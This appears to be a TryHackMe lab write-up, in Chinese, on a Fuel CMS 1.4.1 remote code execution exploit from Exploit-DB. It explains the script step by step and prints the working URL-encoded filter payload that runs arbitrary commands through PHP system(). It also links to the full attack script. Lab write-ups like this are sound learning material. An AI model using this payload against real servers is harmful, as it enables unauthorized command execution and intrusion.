# Vulnerability Capstone ###### tags: `tryhackme` `vulnerability` ## Gather Information IP: 10.10.226.211   application: fuls cms version :1.4 ## Exploit-DB  這段代碼是利用Fuel CMS 1.4.1中存在的遠程代碼執行漏洞的攻擊腳本。漏洞是在Fuel CMS中的選擇頁面上的濾鏡功能中存在的,允許攻擊者將恶意代碼注入到URL參數中,並在服務器端執行該代碼。 腳本首先解析命令行參數,然後向目標URL發送HTTP請求。 ```python parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74') url = args.url r = requests.get(url) if r.status_code == 200: print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL) ``` 如果請求成功,輸入命令 不要停 ``` while True: cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL) ``` 用戶輸入的命令會被注入到主URL字符串中 ```python main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27" #'+pi(print($a='system'))+$a(' +quote(cmd)+ ')+' r = requests.get(main_url) ``` ,腳本再次向主URL發送請求,並將返回的響應文本拆分為列表。最後,腳本將列表的第一個元素(即命令的輸出)打印到控制台。如果用戶輸入“exit”,則跳出循環。 Attack script https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py  get_shell   
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up